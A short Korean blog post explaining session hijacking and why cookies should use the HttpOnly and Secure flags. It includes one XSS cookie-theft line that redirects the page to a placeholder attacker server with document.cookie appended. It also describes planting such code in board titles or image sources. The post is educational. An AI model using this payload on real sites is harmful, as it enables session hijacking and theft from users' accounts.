HTTP Only 와 Secure Cookie

HTTP Only 와 Secure Cookie

브라우저에 저장되어있는 Cookie 들은 서버에 request (요청) 시 모두 넘어갑니다

쿠키는 오래전 부터 사용되어와서 수 많은 사이트들에서 민감한 정보를 (주소, 패스워드)를 쿠키에 저장하고 있다

해커들은 다양한 방법으로 이 쿠키를 탈취하고자 합니다

이러한 쿠키에 대한 보안 공격 중 가장 대중적인 것 중 하나는 바로 세션 하이재킹 공격입니다 (Session Hijacking)

HTTP 프로토콜은 Stateless (무상태성) 프로토콜이기 때문에 기본적으로 상태정보를 갖고 있지 않습니다 때문에

서버는 요청자가 누구인지, 같은 사람인지, 다른 사람인지(해커) 인지 식별할 수 없습니다.

그래서 이러한 문제를 해결하기 위해 서버는 사용자 식별정보를 쿠키에 저장하며, 쿠키에 저장된 정보를 통해

각 사용자를 구별합니다

익명 사용자 -> Login -> response cookie +auth -> 인증 사용자 -> 내정보 요청(request GET) -> cookie 를 통해 확인

때문에 cookie 만 탈취하게 된다면 그 사람으로 위장하여 내 정보또는 물품을 구매하는 등 (마일리지 형식 인 경우) 가능하게 됩니다

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에 해커들은 자바스크립로 쿠키를 가로채고자 시도하게 됩니다

가장 대표적인 공격중 하나가 XSS (Cross Site Scripting) 게시판 제목 또는 이미지 src 에 해커사이트 주소로 연결되게 작성하면 쿠키를 탈취할 수 있게 됩니다

location.href = '서버주소?cookie=' + document.cookie

XSS 또다른 공격법

XSS 공격중 Reflected 공격 (GET 검색 후 Script 실행)

참고

from http://theheydaze.tistory.com/550 by ccl(A) rewrite - 2021-09-27 21:26:04